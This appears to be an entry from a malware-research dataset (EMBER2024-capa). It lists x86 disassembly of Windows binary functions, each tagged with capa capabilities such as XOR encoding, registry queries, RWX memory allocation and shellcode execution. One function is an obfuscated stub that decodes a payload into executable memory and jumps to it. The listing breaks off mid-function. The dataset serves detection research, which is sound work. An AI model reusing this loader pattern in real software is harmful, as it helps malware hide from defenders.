joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10015d70
Capabilities:
Encode data using xor

Disassembly:
sub esp, 0x10c
push ebx
push ebp
push esi
mov esi, dword [esp + 0x124]
push edi
mov eax, dword [esi + 8]
mov ebx, dword [esi]
mov edi, dword [esi + 4]
mov ecx, dword [esi + 0x124]
sub eax, 2
mov dword [esp + 0x14], ebx
mov dword [esp + 0x10], edi
mov dword [esp + 0x18], ecx
je 0x10015eb2
dec eax
je 0x10015db6
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x10c
ret 0xc
mov ecx, dword [esi + 0x20]
push esi
mov edi, ecx
lea eax, [esp + 0x20]
and ecx, 0x1f
mov ebx, 1
push 1
push eax
shr edi, 5
shl ebx, cl
call fcn.10015300
test eax, eax
mov ebp, dword [esp + 0x124]
je 0x10015df4
push esi
push 1
push ebp
call fcn.10015300
test eax, eax
je 0x10015df4
mov eax, 1
jmp 0x10015df6
xor eax, eax
mov ecx, dword [esp + 0x10]
lea edi, [esp + edi*4 + 0x1c]
cmp ecx, 1
mov dword [edi], ebx
je 0x10015e67
dec ecx
mov dword [esp + 0x10], ecx
test eax, eax
je 0x10015e54
lea ecx, [esp + 0x1c]
push esi
lea edx, [esp + 0x20]
push ecx
lea eax, [esp + 0x24]
push edx
push eax
call fcn.10015680
test eax, eax
je 0x10015e54
push esi
push ebp
push ebp
push ebp
call fcn.10015680
test eax, eax
je 0x10015e54
mov ecx, dword [esp + 0x120]
push esi
push ebp
push ebp
lea edx, [esp + 0x28]
push ecx
push edx
call fcn.100156f0
test eax, eax
je 0x10015e54
mov eax, 1
jmp 0x10015e56
xor eax, eax
mov edx, dword [edi]
mov ecx, dword [esp + 0x10]
xor edx, ebx
dec ecx
mov dword [edi], edx
mov dword [esp + 0x10], ecx
jne 0x10015e0a
test eax, eax
je 0x10015da7
lea eax, [esp + 0x1c]
push esi
push eax
push ebp
push ebp
push ebp
call fcn.100156f0
test eax, eax
je 0x10015da7
mov ecx, dword [esp + 0x120]
push esi
lea edx, [esp + 0x20]
push ecx
push edx
call fcn.100218a9
test eax, eax
je 0x10015da7
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x10c
ret 0xc
xor esi, esi
xor edx, edx
test edi, edi
mov edi, dword [esp + 0x124]
je 0x10015f09
mov ebx, dword [esp + 0x120]
mov eax, edx
shr eax, 5
mov ecx, edx
mov ebx, dword [ebx + eax*4]
and ecx, 0x1f
shr ebx, cl
mov ebp, dword [edi + eax*4]
and ebx, 1
xor esi, ebx
mov ebx, esi
not ebx
and ebx, 1
shl ebx, cl
not ebx
and ebx, ebp
mov ebp, esi
and ebp, 1
shl ebp, cl
or ebx, ebp
inc edx
mov dword [edi + eax*4], ebx
mov eax, dword [esp + 0x10]
cmp edx, eax
jne 0x10015ec1
mov ebx, dword [esp + 0x14]
mov ecx, dword [esp + 0x18]
mov edx, dword [edi + ebx*4 - 4]
xor eax, eax
test esi, esi
sete al
shl edx, cl
shr edx, cl
mov dword [edi + ebx*4 - 4], edx
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x10c
ret 0xc

Function at 0x10017130
Capabilities:
Get system information on windows

Disassembly:
sub esp, 0x24
lea eax, [esp]
push eax
call dword [sym.imp.kernel32.dll_GetSystemInfo]
mov eax, dword [esp + 0x18]
sub eax, 0x182
je 0x10017164
sub eax, 0x64
je 0x10017164
sub eax, 0x64
cmp word [esp + 0x20], 6
jb 0x10017164
push 0xc
call fcn.1001cf10
add esp, 0x24
ret
push 4
call fcn.1001cf10
add esp, 0x24
ret
Function at 0x1001c460
Capabilities:
Encode data using xor

Disassembly:
mov eax, dword [esp + 8]
mov ecx, dword [esp + 0x10]
sub esp, 0x51c
lea edx, [eax + 0x1f]
push ebx
push ebp
lea ebp, [ecx + 0x1f]
push esi
shr edx, 5
shr ebp, 5
cmp edx, ebp
mov ebx, edx
ja 0x1001c485
mov ebx, ebp
mov ecx, dword [esp + 0x53c]
xor esi, esi
xor eax, eax
cmp ecx, esi
setne al
cmp ebx, esi
mov dword [esp + 0xc], eax
je 0x1001c68c
cmp ebx, 0x40
ja 0x1001c68c
lea eax, [esp + 0x324]
mov ecx, ebx
mov dword [eax - 0x204], esi
mov dword [eax], esi
mov dword [eax - 0x104], esi
mov dword [eax + 0x100], esi
add eax, 4
dec ecx
jne 0x1001c4b3
mov ecx, dword [esp + 0x120]
mov esi, dword [esp + 0x52c]
xor ecx, 1
push edi
mov dword [esp + 0x124], ecx
mov ecx, edx
lea edi, [esp + 0x224]
push edx
rep movsd dword es:[edi], dword [esi]
mov esi, dword [esp + 0x53c]
lea ecx, [ebp*4]
mov dword [esp + 0x24], ecx
mov eax, ecx
lea edi, [esp + 0x42c]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [esp + 0x534]
push ecx
call fcn.100218a9
push ebp
mov edx, dword [esp + 0x53c]
mov dword [esp + 0x328], eax
push edx
call fcn.100218a9
xor edx, edx
mov dword [esp + 0x528], eax
mov eax, edx
mov dword [esp + 0x18], edx
shl eax, 7
add eax, edx
shl eax, 2
mov ecx, eax
neg ecx
mov esi, dword [esp + ecx + 0x528]
test esi, esi
je 0x1001c62e
lea esi, [esp + eax + 0x124]
lea ebp, [esp + ecx + 0x328]
mov dword [esp + 0x1c], ebp
mov eax, dword [esi + 0x200]
mov ecx, dword [ebp + 0x200]
cmp eax, ecx
jb 0x1001c620
sub eax, ecx
push ebx
mov edi, eax
lea eax, [esp + 0x28]
push eax
lea eax, [ebp + 0x100]
push edi
push eax
call fcn.1001ad20
lea edx, [esi + 0x100]
lea ecx, [esp + 0x24]
mov eax, edx
mov dword [esp + 0x14], ebx
mov ebp, dword [ecx]
add ecx, 4
xor dword [eax], ebp
mov ebp, dword [esp + 0x14]
add eax, 4
dec ebp
mov dword [esp + 0x14], ebp
jne 0x1001c5b2
push ebx
push edx
call fcn.100218a9
mov dword [esi + 0x200], eax
mov eax, dword [esp + 0x10]
test eax, eax
je 0x1001c604
mov ebp, dword [esp + 0x1c]
lea ecx, [esp + 0x24]
push ebx
push ecx
push edi
push ebp
call fcn.1001ad20
lea ecx, [esp + 0x24]
mov eax, esi
sub ecx, esi
mov edx, ebx
mov edi, dword [ecx + eax]
xor dword [eax], edi
add eax, 4
dec edx
jne 0x1001c5f7
jmp 0x1001c608
mov ebp, dword [esp + 0x1c]
mov eax, dword [esi + 0x200]
mov ecx, dword [ebp + 0x200]
cmp eax, ecx
jae 0x1001c58b
mov edx, dword [esp + 0x18]
mov eax, 1
sub eax, edx
mov edx, eax
jmp 0x1001c544
mov edi, dword [esp + 0x544]
test edi, edi
je 0x1001c64b
mov eax, edx
mov ecx, ebx
shl eax, 7
add eax, edx
lea esi, [esp + eax*4 + 0x224]
rep movsd dword es:[edi], dword [esi]
mov eax, dword [esp + 0x10]
test eax, eax
je 0x1001c67a
mov ecx, dword [esp + 0x20]
mov edi, dword [esp + 0x540]
mov eax, edx
shl eax, 7
add eax, edx
mov edx, ecx
shr ecx, 2
lea esi, [esp + eax*4 + 0x124]
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x51c
ret 0x18
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x51c
ret 0x18
Function at 0x1002109f
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
cmp dword [0x10034570], 0
push esi
push edi
jne 0x10021015
call fcn.10020f81
test eax, eax
je 0x1002105a
mov eax, dword [0x10034570]
cmp eax, 1
jne 0x10021036
push 0xd
push 0
call dword [sym.imp.kernel32.dll_GetProcessHeap]
push eax
call dword [sym.imp.kernel32.dll_HeapAlloc]
test eax, eax
je 0x1002105a
jmp 0x1002109c
mov edi, dword [sym.imp.kernel32.dll_InterlockedPopEntrySList]
push eax
call edi
test eax, eax
jne 0x1002109c
push 0x40
mov eax, 0x1000
push eax
push eax
push 0
call dword [sym.imp.kernel32.dll_VirtualAlloc]
mov esi, eax
test esi, esi
jne 0x1002105e
xor eax, eax
jmp 0x1002109c
mov eax, dword [esi]
push dword [0x10034570]
call edi
mov edi, eax
test edi, edi
je 0x10021080
push 0x8000
push 0
push esi
call dword [sym.imp.kernel32.dll_VirtualFree]
mov eax, edi
jmp 0x1002109c
lea edi, [esi + 0xff0]
push esi
push dword [0x10034570]
call dword [sym.imp.kernel32.dll_InterlockedPushEntrySList]
add esi, 0x10
cmp esi, edi
jb 0x10021086
mov eax, esi
pop edi
pop esi
ret
jmp 0x10021001

Function at 0x1002140c
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x10033f20]
jne 0x10021416
repz ret
jmp fcn.10021c9a

Function at 0x100218a9
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
pushal
call 0x100218b8
pop dword [ebp - 8]
mov eax, 0x8a8beab6
add eax, 0x85762e02
sub dword [ebp - 8], eax
push 0x40
push 0x1000
push 0x395c3
push 0
mov eax, sym.imp.kernel32.dll_VirtualAlloc
add eax, dword [ebp - 8]
call dword [eax]
mov ecx, 0x3d317564
sub ecx, 0x3d312fa8
xor esi, esi
add esi, eax
mov edx, 0x5d747bf0
add edx, 0xb28f1010
add edx, dword [ebp - 8]
mov edi, 0x884bc3a
sub edi, 0x145bc833
add dword [ebp - 4], 0x4a51ce14
mov ebx, dword [edx]
xor dword [ebp - 4], ecx
sub ebx, edi
add dword [ebp - 4], edi
mov dword [esi], ebx
sub dword [ebp - 4], 0x65204fa4
add esi, 4
add edx, 4
loop 0x10021914
add eax, 0xf7e0fda7
sub eax, 0xf7dff3e4
mov ebx, eax
add eax, 0xdce03746
sub eax, 0xdce03741
mov ecx, 0x10000000
add ecx, dword [ebp - 8]
call ebx
leave
ret
Function at 0x2e01416e
Capabilities:
Query or enumerate registry value

Disassembly:
push 0x10
mov eax, 0x2e0306d8
call fcn.2e001511
mov edi, ecx
mov dword [ebp - 0x18], edi
xor ebx, ebx
mov dword [edi + 0x14], 0xf
mov dword [edi + 0x10], ebx
mov byte [edi], bl
mov dword [ebp - 4], ebx
call fcn.2e014eb5
test ax, ax
je 0x2e014216
lea eax, [ebp - 0x10]
push eax
push str.softwaremicrosoftwindows_shell_associationsurlassociationshttpuserchoice
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
jne 0x2e014216
lea eax, [ebp - 0x14]
push eax
push ebx
push ebx
push ebx
push str.progid
push dword [ebp - 0x10]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x2e01420d
mov eax, dword [ebp - 0x14]
inc eax
push eax
call fcn.2e00adb7
mov esi, eax
pop ecx
mov dword [ebp - 0x1c], esi
lea eax, [ebp - 0x14]
mov byte [ebp - 4], 1
push eax
push esi
push ebx
push ebx
push str.progid
push dword [ebp - 0x10]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x2e014200
push esi
mov ecx, edi
call fcn.2e010e6c
push 1
push esi
mov byte [ebp - 4], bl
call fcn.2e00adb7
pop ecx
pop ecx
push dword [ebp - 0x10]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, edi
call fcn.2e00155b
ret

Function at 0x2e014ca3
Capabilities:
Query or enumerate registry value

Disassembly:
push 0x28
mov eax, 0x2e030759
call fcn.2e02e6de
mov esi, dword [ebp + 8]
xor eax, eax
mov bl, al
mov edi, dword [ebp + 0xc]
cmp dword [ecx + 0x10], eax
jbe 0x2e014da7
push ecx
lea ecx, [ebp - 0x28]
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x14], eax
call fcn.2e014b8d
and dword [ebp - 4], 0
lea ecx, [ebp - 0x28]
push esi
call fcn.2e010d8f
cmp dword [ebp - 0x14], 0x10
lea ecx, [ebp - 0x30]
lea eax, [ebp - 0x28]
cmovae eax, dword [ebp - 0x28]
push ecx
push eax
push 0x80000000
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
jne 0x2e014d65
lea eax, [ebp - 0x2c]
push eax
push 0
push 0x2e033941
push dword [ebp - 0x30]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
test eax, eax
jne 0x2e014d5c
mov eax, dword [ebp - 0x2c]
inc eax
push eax
call fcn.2e00adb7
mov esi, eax
pop ecx
mov dword [ebp - 0x34], esi
lea eax, [ebp - 0x2c]
mov byte [ebp - 4], 1
push eax
push esi
push 0
push 0
push 0x2e033941
push dword [ebp - 0x30]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x2e014d4e
push esi
mov ecx, edi
call fcn.2e010e6c
mov bl, 1
push 1
push esi
mov byte [ebp - 4], 0
call fcn.2e00adb7
pop ecx
pop ecx
push dword [ebp - 0x30]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
or dword [ebp - 4], 0xffffffff
mov eax, dword [ebp - 0x14]
cmp eax, 0x10
jb 0x2e014da7
mov ecx, dword [ebp - 0x28]
inc eax
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x34], ecx
mov dword [ebp - 4], 2
cmp eax, 0x1000
jb 0x2e014d9e
lea eax, [ebp - 0x2c]
push eax
lea eax, [ebp - 0x34]
push eax
call fcn.2e00adb7
mov eax, dword [ebp - 0x2c]
pop ecx
pop ecx
mov ecx, dword [ebp - 0x34]
push eax
push ecx
call fcn.2e00adb7
pop ecx
pop ecx
mov al, bl
call fcn.2e02e6bc
ret 8
Function at 0x2e014de1
Capabilities:
Query or enumerate registry value

Disassembly:
push 0xc
mov eax, 0x2e03078d
call fcn.2e001511
lea eax, [ebp - 0x10]
xor ebx, ebx
push eax
push dword [ebp + 8]
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
je 0x2e014e1b
lea eax, [ebp - 0x10]
push eax
push dword [ebp + 8]
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
jne 0x2e014e81
lea eax, [ebp - 0x14]
mov edi, 0x2e033941
push eax
push ebx
push edi
push dword [ebp - 0x10]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
test eax, eax
jne 0x2e014e78
mov eax, dword [ebp - 0x14]
test eax, eax
js 0x2e014e78
inc eax
push eax
call fcn.2e00adb7
mov esi, eax
pop ecx
mov dword [ebp - 0x18], esi
lea eax, [ebp - 0x14]
mov dword [ebp - 4], ebx
push eax
push esi
push ebx
push ebx
push edi
push dword [ebp - 0x10]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x2e014e6a
mov ecx, dword [ebp + 0xc]
push esi
call fcn.2e010e6c
mov bl, 1
or dword [ebp - 4], 0xffffffff
push 1
push esi
call fcn.2e00adb7
pop ecx
pop ecx
push dword [ebp - 0x10]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov al, bl
call fcn.2e00155b
ret 8
Function at 0x2e01e565
Capabilities:
Query or enumerate registry value

Disassembly:
push 0x30
mov eax, 0x2e030a97
call fcn.2e02e6de
lea eax, [ebp - 0x2c]
xor ebx, ebx
push eax
push str.softwaremicrosoftwindows_shell_associationsurlassociationshttpuserchoice
push 0x80000001
mov edi, ebx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
jne 0x2e01e683
lea eax, [ebp - 0x30]
push eax
push ebx
push ebx
push ebx
push str.progid
push dword [ebp - 0x2c]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x2e01e67a
mov eax, dword [ebp - 0x30]
inc eax
push eax
call fcn.2e00adb7
mov esi, eax
pop ecx
mov dword [ebp - 0x3c], esi
lea eax, [ebp - 0x30]
mov dword [ebp - 4], ebx
push eax
push esi
push ebx
push ebx
push str.progid
push dword [ebp - 0x2c]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
xor ecx, ecx
inc ecx
test eax, eax
jne 0x2e01e66d
push esi
lea ecx, [ebp - 0x28]
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x14], 0xf
mov byte [ebp - 0x28], bl
call fcn.2e010e6c
push str.IE.HTTP
lea ecx, [ebp - 0x28]
call fcn.2e00adb7
test al, al
jne 0x2e01e620
push ebx
push str.AppX
lea ecx, [ebp - 0x28]
call fcn.2e00adb7
push 1
test eax, eax
pop edx
cmove edi, edx
jmp 0x2e01e623
xor edx, edx
inc edx
mov eax, dword [ebp - 0x14]
cmp eax, 0x10
jb 0x2e01e65d
mov ecx, dword [ebp - 0x28]
inc eax
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x38], ecx
mov byte [ebp - 4], dl
cmp eax, 0x1000
jb 0x2e01e654
lea eax, [ebp - 0x34]
push eax
lea eax, [ebp - 0x38]
push eax
call fcn.2e00adb7
mov eax, dword [ebp - 0x34]
pop ecx
pop ecx
mov ecx, dword [ebp - 0x38]
push eax
push ecx
call fcn.2e00adb7
pop ecx
pop ecx
xor ecx, ecx
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x14], 0xf
inc ecx
mov byte [ebp - 0x28], bl
or dword [ebp - 4], 0xffffffff
push ecx
push esi
call fcn.2e00adb7
pop ecx
pop ecx
push dword [ebp - 0x2c]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ax, di
call fcn.2e02e6bc
ret
Function at 0x10001a10
Capabilities:
Encode data using xor

Disassembly:
movzx eax, byte [0x10039b2c]
sub esp, 8
mov edx, dword [esp + 0xc]
imul ecx, eax, 0x3c85
push ebx
mov eax, dword [edx + 4]
push ebp
push esi
mov esi, 0x3d52
add dword [eax + 0x158], ecx
mov eax, dword [edx + 0x174]
push edi
mov eax, dword [eax + 0x30]
add eax, 0x63f
cmp eax, esi
jb 0x10001a75
nop dword [eax + eax]
mov eax, dword [edx + 0x28]
inc esi
mov ecx, dword [edx + 0xd0]
sub ecx, 0x41cf
mov dword [eax + 0x14], ecx
mov eax, dword [edx + 0x174]
mov eax, dword [eax + 0x30]
add eax, 0x63f
cmp esi, eax
jbe 0x10001a50
mov edi, dword [edx + 0x28]
mov ecx, 0x41cf
mov eax, dword [edi + 0x30]
xor eax, 0x76dc
cmp eax, ecx
je 0x10001aa9
mov esi, dword [edx + 0xe8]
nop
or esi, 0xfffff9e7
inc ecx
mov dword [edx + 0xe8], esi
mov eax, dword [edi + 0x30]
xor eax, 0x76dc
cmp ecx, eax
jne 0x10001a90
cmp dword [edx + 0x21c], 0x18
jg 0x10001b49
imul eax, dword [edx + 0x60], 0x3bbb
mov ecx, dword [edx + 0x34]
mov esi, dword [edx + 0x21c]
mov ebx, dword [edx + 0x50]
mov ebp, dword [edx + 0x208]
mov dword [esp + 0x10], eax
lea eax, [edi + 0xd0]
mov edi, dword [edx + 0x220]
mov dword [esp + 0x14], eax
mov eax, dword [edx + 0x48]
mov dword [esp + 0x1c], eax
nop word [eax + eax]
add ebx, dword [esp + 0x10]
imul eax, ebx, 0x3c04
mov dword [edx + 0x50], ebx
mov dword [edx + 0x14], eax
movzx eax, byte [ecx + ebp]
mov ecx, 0x18
sub ecx, esi
inc ebp
shl eax, cl
mov ecx, dword [edx + 0x34]
or edi, eax
mov eax, dword [esp + 0x1c]
or eax, dword [esp + 0x14]
mov dword [esp + 0x1c], eax
mov dword [edx + 0x48], eax
mov eax, dword [edx + 4]
mov dword [edx + 0x220], edi
mov dword [edx + 0x208], ebp
mov eax, dword [eax + 0xc]
xor eax, 0x4339
add esi, eax
mov dword [edx + 0x21c], esi
cmp esi, 0x18
jle 0x10001af0
mov edi, dword [edx + 0x28]
mov eax, dword [edx + 0x174]
mov ebx, 0x3e56
mov esi, dword [edx + 0x220]
mov ebp, esi
imul ecx, dword [eax + 0x94], 0x70178c70
add ecx, 0x20
shr ebp, cl
mov ecx, dword [eax + 0xc]
mov eax, dword [edx + 0x70]
xor ecx, 0x4321
imul eax, dword [edx + 0x14]
shl esi, cl
mov dword [edx + 0x220], esi
imul eax, eax, 0x3708
mov dword [edx + 0x14], eax
mov eax, dword [edi + 0x94]
xor eax, 0x95e
cmp eax, ebx
jbe 0x10001bc4
mov esi, dword [edx + 0x88]
imul eax, dword [edi + 0x1cc], 0x3879
inc ebx
or esi, eax
mov dword [edx + 0x88], esi
mov ecx, dword [edi + 0x94]
xor ecx, 0x95e
cmp ebx, ecx
jb 0x10001ba1
add dword [edx + 0x21c], 0xfffffff0
mov eax, ebp
pop edi
pop esi
pop ebp
pop ebx
add esp, 8
ret
Function at 0x10002c20
Capabilities:
Encode data using xor

Disassembly:
mov eax, dword [esp + 0x20]
mov edx, dword [esp + 0x14]
add eax, 0x285
push ebx
push ebp
mov ebp, dword [esp + 0x14]
add edx, 0xffffff3c
push esi
mov esi, dword [esp + 0x14]
add ebp, 0xa
add esi, 0x3b9
push edi
mov edi, dword [esp + 0x20]
add edi, 0xffffbcd0
lea ecx, [esi - 0x507]
cmp eax, ecx
jl 0x10002db4
mov esi, dword [esp + 0x14]
xor ebx, ebx
mov eax, dword [esi + 0x174]
mov eax, dword [eax + 0x94]
add eax, 0x1a0d7
je 0x10002ce3
nop dword [eax]
mov ecx, dword [esi + 0x18]
mov edx, dword [esi + 0x110]
mov eax, dword [esi]
mov cl, byte [ecx + ebx]
xor cl, byte [edx + eax]
xor edx, edx
mov eax, dword [esi + 0x34]
mov byte [ebx + eax], cl
inc ebx
mov eax, dword [esi + 8]
add dword [esi + 0x14], 0xffffbc6a
imul ecx, dword [eax + 0xc], 0x281fca2f
mov eax, dword [esi + 0x110]
sub eax, ecx
mov ecx, dword [esi + 0x28]
div dword [esi + 0x10]
mov eax, dword [esi + 0x1a4]
mov dword [esi + 0x110], edx
mov dword [ecx + 0x68], eax
inc dword [esi + 0x1a4]
mov eax, dword [esi + 0x174]
mov eax, dword [eax + 0x94]
add eax, 0x1a0d7
cmp ebx, eax
jb 0x10002c80
mov eax, dword [esi + 0x18]
mov dword [esi + 0x9c], eax
mov eax, dword [esi + 0xc]
xor eax, 1
cmp eax, 0x3712
je 0x10002d07
mov eax, dword [esi + 0x58]
or eax, 0x410b
add dword [esi + 0x188], eax
cmp dword [esi + 0x124], 0x4330
ja 0x10002d1f
lea eax, [esi + 0xd0]
add dword [esi + 0x144], eax
push esi
push 0x3d52
push 0x3bbb
push 0x41cf
call fcn.1000faf0
mov ebp, dword [esi + 0x28]
mov ecx, 0x41cf
add esp, 0x10
imul eax, dword [ebp + 0xc], 0x2bb600a1
cmp eax, ecx
jb 0x10002d74
mov ebx, dword [esi + 0xa0]
mov edx, dword [esi + 0x1f8]
or ebx, 0x3e1a
nop dword [eax]
add edx, ebx
inc ecx
mov dword [esi + 0x1f8], edx
imul eax, dword [ebp + 0xc], 0x2bb600a1
cmp ecx, eax
jbe 0x10002d60
mov eax, dword [esi + 0x50]
cmp eax, dword [esi + 0x148]
jne 0x10002d8c
mov eax, dword [esi + 4]
or dword [eax + 0x164], 0x75c9
lea eax, [esi + 8]
mov dword [esi + 0x98], eax
mov eax, dword [esi + 0x28]
mov eax, dword [eax + 0x184]
xor eax, 0x4228f
mov dword [esi + 0x9c], eax
lea eax, [edi + 0x3e1a]
pop edi
pop esi
pop ebp
pop ebx
ret
mov ebx, dword [esp + 0x14]
mov eax, dword [ebx + 0x1cc]
xor eax, 0x3879
imul eax, edx
cmp edi, eax
jne 0x10002e1f
or edx, 0x3712
sub edx, ebp
cmp edi, edx
je 0x10002e1f
mov eax, dword [ebx + 0x58]
mov ebp, dword [ebx + 0x14]
add eax, 0xffffc8ee
mov dword [esp + 0x20], eax
mov eax, dword [esp + 0x2c]
add eax, 0xac7
add eax, dword [ebx + 0xc]
sub edx, edi
mov ebx, dword [esp + 0x20]
mov dword [esp + 0x18], eax
nop dword [eax + eax]
add esi, ebx
imul edi, eax
mov eax, dword [esp + 0x18]
mov ecx, esi
xor ecx, 0x3a26
and ecx, ebp
sub edx, 1
jne 0x10002e00
mov ebx, dword [esp + 0x14]
mov dword [ebx + 0x60], ecx
lea eax, [edi + 0x3e1a]
pop edi
pop esi
pop ebp
pop ebx
ret
Function at 0x10003130
Capabilities:
Encode data using xor

Disassembly:
mov ecx, dword [esp + 8]
mov edx, dword [esp + 0x20]
push ebx
push ebp
mov ebp, dword [esp + 0x14]
add edx, 0x538
push esi
push edi
mov edi, dword [esp + 0x44]
lea esi, [ecx - 0x3879]
add edi, 0xffffbf25
add ebp, 0x57d
mov dword [esp + 0x44], edi
cmp edi, dword [esp + 0x34]
je 0x100031c3
mov esi, dword [esp + 0x14]
push 0x3af2
push esi
call fcn.10014390
mov dword [esi + 0x20c], eax
mov eax, dword [esi + 0x1a4]
xor eax, 0x3c85
imul eax, dword [esi + 0xd8]
push 0x3c85
push esi
mov dword [esi + 0xd8], eax
mov eax, dword [esi + 0x1cc]
or eax, 0x41cf
add dword [esi + 0x154], eax
call fcn.10014390
add esp, 0x10
mov dword [esi + 0x210], eax
lea eax, [edi + 0x410b]
pop edi
pop esi
pop ebp
pop ebx
ret
lea eax, [ecx + 0xab7]
mov ecx, dword [esp + 0x14]
imul eax, esi
imul eax, eax, 0x41cf
cmp dword [ecx + 0x1cc], eax
jne 0x1000323a
mov ebx, dword [ecx + 0x128]
imul ebx, ebp
cmp edx, ebx
jbe 0x1000325a
mov eax, dword [ecx + 0xd0]
mov ebp, dword [ecx + 0x70]
imul ebp, dword [ecx + 0x174]
mov esi, dword [ecx + 0x60]
mov dword [esp + 0x18], eax
mov eax, dword [ecx + 0x1c0]
imul eax, edi
mov edi, dword [ecx + 0x38]
mov ecx, eax
mov eax, dword [esp + 0x18]
add edx, 2
sub eax, ebp
xor edi, ecx
add esi, eax
cmp edx, ebx
ja 0x10003210
mov ecx, dword [esp + 0x14]
mov dword [ecx + 0x38], edi
mov edi, dword [esp + 0x44]
mov dword [ecx + 0x60], esi
lea eax, [edi + 0x410b]
pop edi
pop esi
pop ebp
pop ebx
ret
mov eax, dword [ecx + 0x140]
or eax, dword [ecx + 0xcc]
or eax, 0x43b5
cmp edx, eax
jae 0x1000325a
mov eax, dword [ecx + 0x94]
or eax, esi
add dword [ecx + 0x38], eax
lea eax, [edi + 0x410b]
pop edi
pop esi
pop ebp
pop ebx
ret
Function at 0x10003270
Capabilities:
Encode data using xor

Disassembly:
sub esp, 8
mov edx, dword [esp + 0x24]
mov ecx, dword [esp + 0xc]
push ebx
mov ebx, dword [esp + 0x1c]
add ecx, 0xfffffbaa
push ebp
mov ebp, dword [esp + 0x34]
lea eax, [edx - 0x486]
push esi
mov esi, dword [esp + 0x34]
add ebp, 0x71c
mov dword [esp + 0x18], eax
add ebx, 0xffffc1d2
lea eax, [edx - 0x550]
mov dword [esp + 0xc], ebx
mov dword [esp + 0x38], eax
push edi
lea edi, [esi - 0x2c1]
mov dword [esp + 0x14], ecx
lea eax, [ebp - 0x273]
mov dword [esp + 0x28], ebp
cmp esi, eax
mov dword [esp + 0x34], edi
mov esi, dword [esp + 0x24]
jle 0x100033fa
cmp ebx, edx
jge 0x100032eb
mov eax, dword [esi + 0x74]
mov dword [esi + 0xfc], eax
jmp 0x100033fa
lea eax, [edx - 0x550]
sub eax, ecx
or eax, edi
cmp ebx, eax
jne 0x100033e1
mov ecx, dword [esi + 0x58]
mov ebx, dword [esi + 0x1c0]
mov ebp, dword [esi + 0x114]
mov edi, dword [esi + 4]
imul eax, ecx, 0x3879
mov edx, dword [esi + 0x164]
add eax, dword [esp + 0x3c]
push eax
lea eax, [ebx + ecx]
mov ecx, dword [esp + 0x3c]
and eax, ecx
push eax
mov eax, ebp
imul eax, dword [esp + 0x30]
and eax, 0x4396
push eax
push esi
mov eax, edi
xor edi, ebx
or eax, dword [esp + 0x2c]
sub eax, dword [esi + 0x174]
push eax
mov eax, ebp
mov ebx, dword [esp + 0x24]
and eax, ecx
and ebp, ebx
push eax
mov eax, dword [esi + 0x1ec]
and eax, 0x3a26
sub eax, dword [esi + 0xf4]
push eax
lea eax, [ecx - 0x2c1]
mov ecx, dword [esp + 0x30]
sub eax, dword [esi + 0x48]
and eax, dword [esi + 0x188]
push eax
lea eax, [edx + ecx]
or edx, ecx
push eax
mov eax, dword [esi + 0x134]
xor eax, dword [esp + 0x34]
push edx
push eax
mov eax, dword [esp + 0x48]
or eax, dword [esp + 0x54]
or eax, 0x3d52
push edi
push eax
mov eax, ebx
and eax, 0x40db
sub eax, dword [esi + 0x28]
push eax
mov eax, dword [esi + 0x120]
and eax, 0x3af2
push eax
imul eax, ebp, 0x40db
push eax
call fcn.10002290
mov eax, dword [esi + 0x1c0]
add esp, 0x40
and eax, dword [esi + 0x174]
imul eax, dword [esp + 0x34]
mov ecx, dword [esi + 4]
mov ebp, dword [esp + 0x28]
add dword [esi + 0x1f8], eax
xor ecx, ebx
jmp 0x100033fa
mov eax, dword [esi + 0x164]
add eax, dword [esi + 0x88]
imul eax, dword [esi + 0x1f8]
add dword [esi + 0xf4], eax
lea eax, [ebx + 0x34ee]
cmp ecx, eax
jle 0x10003495
mov eax, dword [esi + 0x174]
xor edx, edx
mov ecx, dword [eax + 0x184]
mov eax, dword [esi + 0x10]
xor ecx, 0x3af7
div ecx
mov dword [esi + 0x13c], 0x434c3
mov ecx, 0x3af2
mov dword [esi + 0x108], eax
mov edi, dword [esi + 4]
cmp dword [edi + 0x184], ecx
je 0x10003464
mov ebx, dword [esi + 0xdc]
mov edx, dword [esi + 0x1c]
nop word [eax + eax]
xor edx, ebx
inc ecx
xor edx, 0x3c85
mov dword [esi + 0x1c], edx
cmp ecx, dword [edi + 0x184]
